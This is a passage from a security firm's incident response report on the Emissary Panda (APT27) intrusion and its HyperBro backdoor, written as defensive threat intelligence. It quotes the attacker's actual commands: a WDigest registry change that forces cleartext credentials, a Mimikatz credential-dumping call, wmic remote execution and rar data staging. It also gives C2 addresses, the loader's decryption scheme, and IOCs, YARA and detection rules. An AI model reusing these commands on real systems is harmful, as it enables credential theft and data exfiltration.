storage of clear text passwords after logon in WDigest: Reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1 This forces logon credentials to be stored in clear text, which can then be dumped by tools like Mimikatz, as described in Section 6.7.1. 6.6.3 Process Injection: Process Hollowing (1055.012) Since most of the manually executed commands, such as reconnaissance, were executed in the context of the legit process wermgr.exe, it is concluded that Emissary Panda performed process hollowing to avoid detection by security tools. This thesis is supported by the fact, that the executable related to the process ID is the legit wermgr.exe of Windows. Furthermore, the capability for process hollowing as well as the corresponding strings within the malware were identified during our malware analysis of HyperBro, which is described in Section 8.3. The following screenshot shows an excerpt of the EDR tool, which displays the reconnaissance activity in the context of wermgr.exe: Figure 7: Process Hollowing used to execute malicious commands in the context of legit wermgr.exe 6.6.4 Masquerading: Service (T1036.004), filename, and file location (T1036.005) On several occasions, Emissary Panda tried to evade defenses by using names, which are associated with security tools. This fact was also mentioned in previous reports 29. In the referenced reports, Emissary Panda used a legitimate Symantec executable. In the case of this attack, Emissary Panda used an executable, which is signed by CyberArk and named as the Microsoft Defender. Furthermore, the executable was placed in common paths for Microsoft Defender: C:\Program Files (x86)\Common Files\windefenders\msmpeng.exe C:\Program Files (x86)\Common Files\windefenders\vftrace.dll D:\$recycle.bin\ As already mentioned in Section 6.4.1, the service used for persistence was also named after the Microsoft Defender. Last, the recycle bin was utilized to store the output-archives of the collection tool, as described in Section 6.10.1. https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ HvS-Consulting AG 2022 Page 18 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 6.7 Credential Access 6.7.1 OS Credential Dumping T1003 In order to gain valid credentials of accounts, Emissary Panda used techniques for credential dumping. This also explains the extensive use of valid accounts, as described in Section 6.4.3. The following command was observed during the attack: $ msiexec.exe privilege::debug sekurlsa::logonPasswords The command line parameters equal the parameters of the credential dumping tool Mimikatz 30. Since the process is running in a valid msiexec process, the attacker performed credential dumping in combination with process hollowing, as described in Section 6.6.3. 6.8 Discovery 6.8.1 Account Discovery (T1087.001) and Permission Groups Discovery T1069 To gain more information about the Active Directory accounts and groups, Emissary Panda utilized the classic Windows net tool. $ net user /domain $ net1 user /domain $ net group "domain admins" /domain $ net view \\ $ net use \\\ipc$ ********** Apparently, the operator of Emissary Panda mixed up the order of username and password in the net use command. Hence, the password could be seen in clear-text and the username was redacted by the EDR. 6.8.2 Process Discovery T1057 Emissary Panda used the Tasklist utility to remotely gather information about running processes on systems. The following command shows a remote execution of Tasklist, which stores the outputs to a file located in the Recycle Bin: $ wmic /node: process call create "cmd /c tasklist >d:\$recycle.bin\task.dat" 6.8.3 System Information Discovery (T1082) As a preparation for the data collection, Emissary Panda checked the used disk space of their target directories. The following command shows how they gained the used disk space for a home directory of a User, located on the fileserver: $ diruse /m /* \\\d$\Users\Homes\ The command outputs the used disk space in Megabyte. https://github.com/gentilkiwi/mimikatz HvS-Consulting AG 2022 Page 19 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 6.9 Lateral Movement 6.9.1 Remote Services: SMB Shares (T1021.002) The threat actor utilized SMB shares to drop malware on remote systems. Following, the execution of the malware was performed as described in Section 6.3.1. In order to access SMB shares on remote systems, Emissary Panda used valid accounts as described in Section 6.4.3. 6.10 Collection 6.10.1 Archive via Utility (T1560.001) and Automated Collection (T1119) Based on the observed hashes and parameters, Emissary Panda was using Winrar to collect data in archives. The following commands show data collection performed on the fileserver: $ Rar.exe a d:\\log "E:\\" "E:\\" "H:\ \*.xls*" "E:\\" "H:\\*.csv" "E:\ \" "E:\\" d:\Users\Homes\\ -r -y hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5444M $ Rar.exe a \\\d$\$recycle.bin\bin.rar "\\\E$\\" "\\\E$\\" "\\\h$\\*.xls*" "\\\E$\\" "\\\h$\\*.csv" "\\\E$\\" \\\d$\Users\Homes\\ -r -y -inul hpC0yHvnGojFe9aqyM5VqT9ik4tkVnuKkPk8t -v5767M The first command was launched remotely via WMIC on the fileserver. The collected files as well as the output archive is located on the fileserver. The second command writes its output not to the fileserver but to another compromised system in the recycle bin. Both commands use the same password to encrypt the archives (incl. file and directory names). Finally, both commands use different sizes for their partial archives, but the target directories are the same. 6.10.2 Data Staged (T1074) As can be seen in the commands of the Section 6.10.1, the output of the collection is staged. This means that the first command creates partial archives of 5444 MB and the second command of 5767 MB. The partial archives are exfiltrated directly after creation and deleted afterwards. HvS-Consulting AG 2022 Page 20 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 6.11 Command and Control 6.11.1 Application Layer Protocol: Web Protocols T1071.001 The C2 communication was performed over HTTPS, which could be observed in the firewall logs. Since the content was encrypted no statement regarding the content can be made. Nevertheless, the backdoor on all compromised systems was sending beacons to the C2 IP addresses in regular intervals. Via memory analysis of a compromised systems the following post request with User Agent could be extracted: POST /api/v2/ajax HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Content-Length: 87 Host: 87.98.190.184 The IP address 87.98.190.184 is one of the C2 IP addresses used by Emissary Panda. HvS-Consulting AG 2022 Page 21 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 7 OSINT analysis of C2 infrastructure Observed C2 communication as well as HyperBro artifacts were analyzed and researched for additional indicators and common attributes. In the analyzed samples, HyperBro uses a HTTPS protocol endpoint under the following path: /api/v2/ajax. This is a unique web application path, which is very well suited for detecting HyperBro traffic. No legitimate applications or web installations have been identified that access this endpoint. Furthermore, we noted that multiple Emissary Panda C2 addresses share the identical Jarm hash 3fd3fd16d3fd3fd22c3fd3fd3fd3fdf20014c17cd0943e6d9e2fb9cd59862b as well as a specific *.cybo-cloud.com certificate: Subject Issuer Serial Validity Names SHA-256 SHA-1 CN=*.cybo-cloud.com C=US, O=DigiCert Inc, OU=www.digicert.com, CN=RapidSSL RSA CA 2018 Decimal: 3163476740895991561136217391472201532 Hex: 0x261437201eb9a171027589b0d724f3c 2018-01-22 00:00:00 to 2021-04-21 12:00:00 (1185 days, 12:00:00) *.cybo-cloud.com cybo-cloud.com 84e285d08381eb40ca1c218e51a3f9efe4d7ccd95c53e4a6bec9fa5e858a50d7 44b9d089cf734d2478165a8539b23aed51887f7d 210cbb1ed295fd13497a3e45a71a5240 We were able to directly confirm seven C2 IP addresses with this specific Jarm hash and TLS certificate combination. Passive DNS data suggests that also the following IP addresses might be related to Emissary Panda as these share the Jarm hash and TLS certificate as well. However, at the time of writing, this suspicion was not confirmed. 104.168.143.39 104.168.211.246 138.124.180.56 152.228.248.233 154.38.118.188 194.156.98.129 45.76.208.198 45.77.32.139 47.75.189.54 8.210.39.213 In addition, it was observed that Emissary Panda reacted to incident response activities via resolving their C2 domain dataanalyticsclub.com to the localhost IP address 127.0.0.1. Thereby, effectively hiding their C2 traffic. Hence, active HyperBro backdoors on webservers might be identified by reviewing the local access log for requests to the following path: /api/v2/ajax. HvS-Consulting AG 2022 Page 22 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 8 Malware Analysis of HyperBro As described in other public reports 31, HyperBro is a custom malware of Emissary Panda used as RAT. An analysis 32 of the HyperBro version used in this attack campaign was recently published by the German domestic intelligence services (Bundesamt f r Verfassungsschutz, BfV). In addition to this publication, we provide additional technical details about the inner workings and capabilities of the malware. Furthermore, we created and published a tool, which is able to extract the configuration from the malware. This enables analysts to quickly retrieve the IOCs from HyperBro samples. Finally, this chapter also summarizes the capabilities and available C2 commands of HyperBro. Overview The HyperBro malware consists of the following components: Component Description msmpeng.exe / vfhost.exe Legit application signed by CyberArk 33, used for DLL Side-Loading vftrace.dll (Stage 1) Malicious DLL containing Stage 1 / the first loader thumb.dat (Stage 2) The file is encrypted with a weak one-byte key. After decryption, it contains a loader for the PE Executable, which is also contained as compressed buffer within the thumb.dat PE Executable (Stage 3) Contains the actual HyperBro backdoor written in C++ config.ini Created after the first execution and contains a randomly generated GUID To launch HyperBro, the legit CyberArk application msmpeng.exe / vfhost.exe is executed. Due to DLL Search Order Hijacking and DLL Side-Loading, as described in Section 6.6.1, this application loads the malicious vftrace.dll. We refer to vftrace.dll as Stage 1 of the malware. The malicious DLL then opens and reads thumb.dat, which we refer to as Stage 2. This file is encrypted with a weak one-byte key. It contains a loader and a compressed PE Executable. The loader decompresses the PE Executable within the thumb.dat and prepares it for execution. The decompressed PE Executable then contains the actual HyperBro backdoor, which we refer to as Stage 3. The exact process of decryption, decompression, and loading is explained in more detail in the following sections. The complete process is depicted in Figure 8. https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/ https://www.verfassungsschutz.de/SharedDocs/kurzmeldungen/DE/2022/2022-01-26-cyberbrief.html https://www.virustotal.com/gui/file/df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15edbe28dcecb2a348/de tails HvS-Consulting AG 2022 Page 23 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 8.2 PE Loader As displayed in Figure 8, the first stage opens and decrypts the thumb.dat file. Figure 9 shows a screenshot of the decryption routine (first red box) and the launch of the decrypted PE Loader. The decryption routine simply adds the byte 0xfc to each byte of the thumb.dat file. This is a rather simple encryption with a one-byte key, which can easily be reproduced. Figure 8: Malware Flow The decrypted thumb.dat file contains the second stage, which is referenced to as the PE Loader, as well as a compressed PE file. The used compression method for Stage 3 is LZNT1 34. Since the vftrace.dll simply jumps to the beginning of the PE Loader, no functions are loaded or linked. Effectively, the program is started with no linked or imported functions. Hence, the PE Loader needs to initialize itself. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6 HvS-Consulting AG 2022 Page 24 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Figure 9: Decryption of thumb.dat and launch of PE Loader A rather special method was chosen for this initialization. The loader contains a set of pairs of library and function names (both hashed with a custom hash function). To resolve the function, the Thread Information Block (TIB) of the current process is loaded. Afterwards the Process Environment Block (PEB) is accessed, and the loaded modules are iterated to find the searched library. Following, the export table of the library is parsed to find the function. Figure 10: Structure with function pointers after resolving procedure via hashing HvS-Consulting AG 2022 Page 25 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell As stated before, the library and function names are stored in a hashed form. The utilized hash function was only seen in one other public report from Palo Altos Unit 42 published in 2017. The result of the function resolution via the hashing algorithm is a structure containing several functions pointer, as can be seen in Figure 10. Figure 11: Parameters of decompress buffer functions of PE Loader Next, the loader invokes a function that is used for decompressing the PE file contained in the decrypted thumb.dat. The parameters of the function can be seen in Figure 11, while the function itself is display in Figure 12. Figure 12: Decompress buffer function of PE Loader After successful execution the decompress_buffer function, another function parses the decompressed buffer, which is the third stage (PE Executable), loads its sections into memory, sets up the correct permissions on its memory pages, and finally launches the third stage. An excerpt of the launch_payload function can be seen in Figure 13. HvS-Consulting AG 2022 Page 26 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Figure 13: Stage 3 launcher Since the PE loader has effectively no import table, but only a structure of function pointers, it is less likely to be detected by Antivirus products. The products often look for suspicious library functions, which are loaded by a program, for example WinHttp. The result of the PE loader is a loaded and launched third stage. HvS-Consulting AG 2022 Page 27 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 8.3 Capabilities The actual backdoor (Stage 3) shows sophisticated capabilities regarding remote access and command and control, as well as persistence and evasion. The following classes were found during the analysis, which provide a first indication of the functionality of the malware. TCaptureData TFileInfo TProcessInfo TCaptureMgr TFileMgr TprocessMgr TClipboardInfo TFileRename TRegeditKeyinfo TClipboardMgr TFileRetime TRegeditMgr Tcommdand TFileUpload TRegeditValueInfo TConfig TKeyboardMgr TServiceInfo TDirve (not a typo) TKeyboarrdInfo TServiceMgr TFileData TLogin TShellcodeData TFileDataReq TLoop TshellCodeMgr TFileDown TPacket TShellMgr TSock TTransConnect TUserMgr TTransData Furthermore, the malware has the capability to gain persistence in multiple ways on the target system. One way is the creation of a Windows Service, as described in Section 3.4.1. Another way is the creation of a Run Key within the Windows Registry, as described in Section 6.4.2. Stage 3 is a sophisticated backdoor with various capabilities. It is controlled from a C2 server, which provides commands to the backdoor by responding to HTTPS requests originating from the backdoor. The first byte of the HTTPS response contains a byte specifying the command for the backdoor. Based on the command the backdoor executes one of eight operations. The table in this subsection describes the operations of Stage 3. HvS-Consulting AG 2022 Page 28 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Command code Description No operation / Wait for commands 0x10 Initial Logon to C2 server. Register new backdoor at C2 server 0x15 Delete everything Deletes the file: \windefenders\config.ini Deletes the file: \windefenders\log.log Deletes the file: \windefenders\msmpeng.exe Deletes the file: \windefenders\vftrace.dll Deletes the file: \windefenders\thumb.dat Deletes the directory: \windefenders Deletes the registry key: HKLM\SOFTWARE\Microsoft\config_ Note that the paths/files depend on the current configuration of the malware Get information about the infected system: Get logged on user and check privileges of the user Send information to C2 Perform Process Hollowing: Restarts the backdoor in a hollowed process The following legit target processes are utilized: svchost.exe -k networkservice svchost.exe -k localservice Stop the current instance of the backdoor if hollowing was successful Opens a remote shell and executes received commands: Sleep time of the while loop in the backdoor is decreased from 1000 ms to 100 ms for more responsive behavior of the remote shell Creates a new thread, which pulls commands from C2 server, which are then executed The results are sent to the C2 server Update malware: Drops a new executable under Temp: %Temp%\.exe Launches the new executable Exits the running process after launch was successful Updates the configuration of the backdoor: Copies the new configuration from the received packet to the in-memory configuration of the backdoor (TConfig) Connects to new C2 server Closes old connection, after the new connection was established successfully Subcommand 0x10 Updates additional configuration of the running malware Subcommand 0x14 Update configuration regarding persistence Update Registry keys Update Windows Service Update File paths 0x17 0x18 0x1B 0x1D 0x1F HvS-Consulting AG 2022 Page 29 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 8.4 HyperBro Configuration Extractor In our online research about Emissary Panda and HyperBro, we found multiple descriptions of the malware but no tool, which is able to extract the malware configuration from the encrypted thumb.dat file. In order to develop such a tool, we reverse engineered the malware and re-implemented the decryption of thumb.dat, the decompression of Stage 3, and implemented a configuration parser for Stage 3. The tool can be found in our GitHub Repository: https://github.com/hvs-consulting/HyperBroExtractor The tool runs through the steps from the thumb.dat as input to the decompressed PE file (Stage 3), as displayed in Figure 8. $ python3 HyperBro_extract_config.py -i thumb.dat -k fc [*] The key is: 0xfc [*] Decryption successful [*] Decompression of PE successful [*] HyperBro extracted config: Legit launcher used for DLL-Side-Loading: msmpeng.exe Stage 1: vftrace.dll Stage 2: thumb.dat Stage 3: thumb.dat Malware Directory: windefenders Domain (changed at runtime): Default Windows Service used for persistence: Windows Defenders Command and Control IP address: 104.168.236.46 User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 HTTPS Request Information: POSThttps://%s:%d/api/v2/ajax Pipe name used for IPC: \\.\pipe\testpipe At first, the thumb.dat file needs to be decrypted. Therefore, we analyzed the decryption algorithm contained in Stage 1 and extracted the corresponding key. Since the key is only one byte long, and it is simply added to each byte of the thumb.dat, the encryption is not very strong. To increase the stability of our tool, a brute-force function for the one-byte key was implemented as well as a detection for a correct decryption. After the correct key is found, the thumb.dat is decrypted. Next, the beginning of the PE file is identified in the decrypted thumb.dat. The file consists of the PE Loader (Stage 2), and a compressed PE file (Stage 3). As stage 3 is compressed with LZNT1, a LZNT1 compressed PE header is used as a signature to identify the start of Stage 3. Next, the compressed PE file can be decompressed, which results in the actual HyperBro backdoor. Last, the configuration of Stage 3 is parsed by the tool, i.e., it extracts multiple hard-coded parameters, like the IP of the initial C2 server, the user agent utilized in HTTP requests, etc. An example of the output can be seen above In this case, the key is specified as a command-line parameter. The resulting IoCs as well as their utilization for detection, are described in more detail in Section 7. HvS-Consulting AG 2022 Page 30 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 9 Detection of Emissary Pandas activities Indicators of Compromise (IOCs) The IOCs in this section were partially collected during the incident and partially gathered via OSINT research. If you plan to use these IOCs in your organization, we recommend copying them from our public GitHub Repository: https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 The repository also contains a MISP Event35 which is structured in MISP objects and comprises additional contextual information. All the IOCs are classified as TLP White. Category Type Value Comment Artifacts dropped named pipe testpipe HyperBro RAT - named pipe Artifacts dropped windefenders HyperBro RAT - persistence mechanism windefende-921919155 Persistence mechanism of HyperBro RAT Network activity windowsservicename windowsservicename domain dataanalyticsclub.com Domain address used for C2 communication Network activity ip-dst 34.90.207.23 Network activity ip-dst 103.79.77.200 APT27 C2 used during Hafnium attacks reported by welivesecurity.com IP address used for C2 communication Network activity ip-dst 104.168.236.46 IP address used for C2 communication Network activity ip-dst 193.203.203.26 IP address used for C2 communication Network activity ip-dst 74.119.194.153 IP address used for C2 communication Network activity ip-dst 87.98.190.184 IP address used for C2 communication Network activity ip-dst 107.148.131.210 IP address used for C2 communication Network activity ip-dst 35.187.148.253 IP address used for C2 communication Network activity ip-dst 103.79.78.48 IP address used for C2 communication Network activity ip-dst 45.77.250.141 IP address used for C2 communication Network activity domain image.dataanalyticsclub.com Domain address used for C2 communication Network activity domain avatars.dataanalyticsclub.com Domain address used for C2 communication Network activity domain fonts.dataanalyticsclub.com Network activity /api/v2/ajax PassiveTotal First 2021-11-10 Last 2022-0103 Malicious endpoint on C2 servers Network activity https://107.148.131.210/api/v2/ajax URL used for C2 communication Network activity http://35.187.148.253/api/v2/ajax URL used for C2 communication Network activity text HyperBro RAT - user agent Payload delivery filename Payload delivery filename Payload delivery filename Payload delivery filename Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/53 7.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/5 37.36 %PROGRAMFILES%\Common Files\windefenders\vftrace. %PROGRAMFILES%\Common Files\windefenders\thumb. %PROGRAMFILES%\Common Files\windefenders\config.i %PROGRAMFILES%\Common Files\vfhost\VFTRACE.DLL Artifacts dropped HyperBro RAT - Stage 1 HyperBro RAT - Stage 2 File containing GUID created upon HyperBro execution HyperBro RAT - Stage 1 https://www.misp-project.org/ HvS-Consulting AG 2022 Page 31 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Category Type Value Comment Payload delivery filename Payload delivery filename %PROGRAMFILES%\Common Files\windefenders\msmpeng.exe vftrace.dll HyperBro RAT - legit CyberArk Software binary used for side-loading HyperBro RAT - Stage 1 Payload delivery filename thumb.dat HyperBro RAT - Stage 2 Payload delivery filename config.ini Payload delivery filename msmpeng.exe Payload delivery filename rar.exe File containing GUID created upon HyperBro execution HyperBro RAT - legit CyberArk Software binary used for side-loading Rar.exe (WinRar) Payload delivery imphash 182f35372e9fd050b6e0610238bcd9fd HyperBro RAT - Stage 1 Payload delivery 7655ff65f74f08ee2c54f44e5ef8f098 HyperBro RAT - Stage 1 Payload delivery fa0b6ff0898acaa50563c1cb89524fcf HyperBro RAT - Stage 1 Payload delivery 3a528cc7cfa7d7cd338c285839c3c727 HyperBro RAT - Stage 2 Payload delivery 84f09d192ec90542ede22c370836ffa6 HyperBro RAT - Stage 2 Payload delivery 832415bba4378181e3c975f247b9d0e8 HyperBro RAT - Stage 1 Payload delivery 42be134aeca1d88024b0d1baac0726d2 HyperBro RAT - Stage 1 Payload delivery 161d3039d7ee393820acab012f4cc85e HyperBro RAT - Stage 1 Payload delivery 061b1d1378c06f9ed46b00fe202f39d8 HyperBro RAT - Stage 2 Payload delivery 4896a86615ef6835861404bb63a97d7a HyperBro RAT - Stage 2 Payload delivery 4109ac08bdc8591c7b46348eb1bca85d Payload delivery 0af2e05abc0ea27d33aa92fc2924655a HyperBro RAT - legit CyberArk Software binary used for side-loading Rar.exe (WinRar) Payload delivery 60d5648d35bacf5c7aa713b2a0d267d3 Rar.exe (WinRar) Payload delivery 5c1c0bfdf0b3abcf4872b605dbea8b1a HyperBro RAT - Stage 3 Payload delivery 80df708149bc7d2b19afd698def598f5 HyperBro RAT - Stage 2 (decrypted) Payload delivery sha1 3c7beb8978feac9ba8f5bab0656242232471bf7d HyperBro RAT - Stage 1 Payload delivery sha1 e0d6fcdf23c06c8e8016b0c93a1072c4bab0b659 HyperBro RAT - Stage 1 Payload delivery sha1 0dfbbaf0267d79bbe15b1f5a78e1f1bcceea99ca HyperBro RAT - Stage 2 Payload delivery sha1 7fb23c6b4db90b55694bdd1cc5c1b4c706a4e181 HyperBro RAT - Stage 2 Payload delivery sha1 7d92970e8394b20b887bf2de60408da15e260d9f HyperBro RAT - Stage 1 Payload delivery sha1 ba2ba390a13938de4d176addd7417ad9a1df2715 HyperBro RAT - Stage 1 Payload delivery sha1 6043a8e4f14ac398fd25c10f20d01ba00eb22883 HyperBro RAT - Stage 1 Payload delivery sha1 0acea28ddbfb86dc335c295475e5c9a2338bf4e3 HyperBro RAT - Stage 2 Payload delivery sha1 95739e00e606e8e7a5c2f658b05820db7ee51910 HyperBro RAT - Stage 2 Payload delivery sha1 6423d1c324522bfd2b65108b554847ac4ab02479 Payload delivery sha1 755b979293a43e3a5de23933f35ec6a94b0971ee HyperBro RAT - legit CyberArk Software binary used for side-loading Rar.exe (WinRar) Payload delivery sha1 a62af4ac233d914a25e79ec0705e2a187ebd7567 Rar.exe (WinRar) Payload delivery sha1 6d24b289ab4819774ac250d5d4f024e9dee7579c HyperBro RAT - Stage 3 Payload delivery sha1 d3cc018a28b39698bfa486f6e505be4c68573af0 HyperBro RAT - Stage 2 (decrypted) Payload delivery sha256 HyperBro RAT - Stage 1 Payload delivery sha256 Payload delivery sha256 Payload delivery sha256 Payload delivery sha256 Payload delivery sha256 Payload delivery sha256 52072a8f99dacd5c293fccd051eab95516d8b880cd2bc5a7 e0f4a30d008e22a7 5aa4dffee6acd65092ddaf7192c1009befd14eb079e694f1 32707dcda22f9e7f 2ca4181d958369ff92121700c681442664454b0ec4f7942 984611cc64caeca61 f2ba8b8aabf73020febd3a925276d52ce88f295537fe5772 3df714c13f5a8780 333b52c2cfac56b86ee9d54aef4f0ff4144528917bc1aa1fe 1613efc2318339a 847fce4a6c3561f51bb94dc682a16908d4ce5b0cf9d4315d b6d642ad2a94f8bc 205aa1007e97a58ecb6e9f9a143ed7d337de98864d566d 8f6967a9496beff815 HvS-Consulting AG 2022 HyperBro RAT - Stage 1 HyperBro RAT - Stage 2 HyperBro RAT - Stage 2 HyperBro RAT - Stage 1 HyperBro RAT - Stage 1 HyperBro RAT - Stage 1 Page 32 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell Category Type Value Comment Payload delivery sha256 HyperBro RAT - Stage 2 Payload delivery sha256 Payload delivery sha256 Payload delivery sha256 Payload delivery sha256 Payload delivery sha256 Payload delivery sha256 Payload delivery x509fingerprintsha1 regkey fd15d8bf6dd3858897dbc352b64577fd73cfd7ba4c3e4c7e 77a070fa43264216 ba3a9382c0e5857f496e998635f8ba0ae2aedf4782defcbe 204eaeea5c7e8e24 df847abbfac55fb23715cde02ab52cbe59f14076f9e4bd15 edbe28dcecb2a348 8c4b78ee13c6c7639086b46efdcdebf0cac37ab87fef99ab 2c7a72f217b5b03c 4b16ea1b1273f8746cf399c71bfc1f5bff7378b5414b4ea04 4c55e0ee08c89d3 624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2 e2a5683a04e36213e8 fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6 a5ef46f6eff67ed 7cb43e5c475d7f369fb090e9a79fe1f841bd1309 SOFTWARE\WOW6432Node\Microsoft\config_ HyperBro RAT - registry key used to persist C2 config HyperBro RAT - persistence mechanism Persistence mechanism Persistence mechanism regkey HvS-Consulting AG 2022 HKCU\Software\Microsoft\Windows\CurrentVersion\Run \windefenders HyperBro RAT - Stage 2 HyperBro RAT - legit CyberArk Software binary used for side-loading Rar.exe (WinRar) Rar.exe (WinRar) HyperBro RAT - Stage 3 HyperBro RAT - Stage 2 (decrypted) HyperBro RAT - legit CyberArk Software binary used for side-loading Page 33 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell 9.2 YARA Rules The following YARA rules can be used for the detection of the HyperBro malware. Alternatively, you can use the THOR APT Scanner 36 since it already includes these YARA detection rules as well as many more. The YARA rules were also published in our GitHub repository. One additional rule can be found there, which was too bulky for this report: https://github.com/hvs-consulting/ioc_signatures/tree/main/Emissary_Panda_APT27 rule HvS_APT27_HyperBro_Decrypted_Stage2 { meta: description = "HyperBro Stage 2 and compressed Stage 3 detection" license = "https://creativecommons.org/licenses/by-nc/4.0/" author = "Moritz Oettle" reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27" date = "2022-02-07" hash1 = "fc5a58bf0fce9cb96f35ee76842ff17816fe302e3164bc7c6a5ef46f6eff67ed" strings: $lznt1_compressed_pe_header_small = { FC B9 00 4D 5A 90 } // This is the lznt1 compressed PE header $lznt1_compressed_pe_header_large_1 = { FC B9 00 4D 5A 90 00 03 00 00 00 82 04 00 30 FF FF 00 } $lznt1_compressed_pe_header_large_2 = { 00 b8 00 38 0d 01 00 40 04 38 19 00 10 01 00 00 } $lznt1_compressed_pe_header_large_3 = { 00 0e 1f ba 0e 00 b4 09 cd 00 21 b8 01 4c cd 21 } $lznt1_compressed_pe_header_large_4 = { 54 68 00 69 73 20 70 72 6f 67 72 00 61 6d 20 63 } $lznt1_compressed_pe_header_large_5 = { 61 6e 6e 6f 00 74 20 62 65 20 72 75 6e 00 20 69 } $lznt1_compressed_pe_header_large_6 = { 6e 20 44 4f 53 20 00 6d 6f 64 65 2e 0d 0d 0a 02 } condition: filesize < 200KB and ($lznt1_compressed_pe_header_small at 0x9ce) or (all of ($lznt1_compressed_pe_header_large_*)) https://www.nextron-systems.com/thor/ HvS-Consulting AG 2022 Page 34 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell rule HvS_APT27_HyperBro_Stage3 { meta: description = "HyperBro Stage 3 detection - also tested in memory" license = "https://creativecommons.org/licenses/by-nc/4.0/" author = "Markus Poelloth" reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27" date = "2022-02-07" hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8" strings: $s1 = "\\cmd.exe /A" fullword wide $s2 = "vftrace.dll" fullword wide $s3 = "msmpeng.exe" fullword wide $s4 = "\\\\.\\pipe\\testpipe" fullword wide $s5 = "thumb.dat" fullword wide $g1 = "%s\\%d.exe" fullword wide $g2 = "https://%s:%d/api/v2/ajax" fullword wide $g3 = " -k networkservice" fullword wide $g4 = " -k localservice" fullword wide condition: uint16(0) == 0x5a4d and filesize < 300KB and (( 4 of ($s*) ) or (4 of ($g*))) rule HvS_APT27_HyperBro_Stage3_C2 { meta: description = "HyperBro Stage 3 C2 path and user agent detection - also tested in memory" license = "https://creativecommons.org/licenses/by-nc/4.0/" author = "Marc Stroebel" reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27" date = "2022-02-07" hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8" strings: $s1 = "api/v2/ajax" ascii wide nocase $s2 = "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36" ascii wide nocase condition: all of them HvS-Consulting AG 2022 Page 35 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell rule HvS_APT27_HyperBro_Stage3_Persistence { meta: description = "HyperBro Stage 3 registry keys for persistence" license = "https://creativecommons.org/licenses/by-nc/4.0/" author = "Marko Dorfhuber" reference = "https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27" date = "2022-02-07" hash1 = "624e85bd669b97bc55ed5c5ea5f6082a1d4900d235a5d2e2a5683a04e36213e8" strings: $ = "SOFTWARE\\WOW6432Node\\Microsoft\\config_" ascii $ = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\windefenders" ascii condition: 1 of them 9.3 Defender Detection Rules // description: Detects pipe of HyperBro used for IPC // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Markus Poelloth // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceEvents | where ActionType == "NamedPipeEvent" and AdditionalFields contains "testpipe" // description: Detects big newly created rar files, as used by Emissary Panda for collection // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Moritz Oettle // reference: https://www.hvs-consulting.de/en/threat-intelligence-report-emissary-panda-apt27 // date: 2022-02-07 DeviceFileEvents | where ActionType == 'FileCreated' | where FileName endswith ".rar" | where FileSize > 5000000000 // 5 GB | sort by FileSize desc HvS-Consulting AG 2022 Page 36 of 38 HvS Incident Response Report The APT Fallout of Vulnerabilities such as ProxyLogon, OGNL Injection and log4shell // description: Detects C2 network events used by Emissary Panda // license: https://creativecommons.org/licenses/by-nc/4.0/ // author: Marc Stroebel 